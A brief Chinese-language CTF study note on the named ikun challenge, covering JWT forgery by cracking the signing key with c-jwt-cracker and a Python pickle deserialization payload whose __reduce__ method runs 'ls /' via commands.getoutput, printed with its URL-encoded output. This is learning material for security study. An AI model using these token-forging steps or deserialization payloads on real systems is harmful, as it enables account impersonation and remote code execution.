知识点:
JWT
和cookie一个类型,用于认证身份,将jwt值放在JSON Web Tokens - jwt.io解密,可以得到结果,但是想要伪造其他的用户的话需要密钥,密钥使用c-jwt-cracker 中的 ./jwtcrack 进行破解;
破解得到密钥之后在网址中填入得到伪造的jwt;burp更改就可以了;
python 反序列化:
Pickle是Python内的一个标准模块,实现了基本的数据序列化和反序列化
pickle.dumps 序列化
pickle.laods 反序列化
dumps | 将obj对象序列化并返回一个bytes对象 | loads | 将bytes反序列化并返回一个对象 |
?参考[CISCN2019 华北赛区 Day1 Web2]ikun以一道例题从JWT安全到Pickle反序列化_sGanYu的博客-CSDN博客
import pickle
import urllib
import commands
class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',)) # return无返回值,使用commands.getoutput(cmd) -> string只返回执行的结果, 忽略返回值
a = payload()
print(urllib.quote(pickle.dumps(a)))
# ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.
|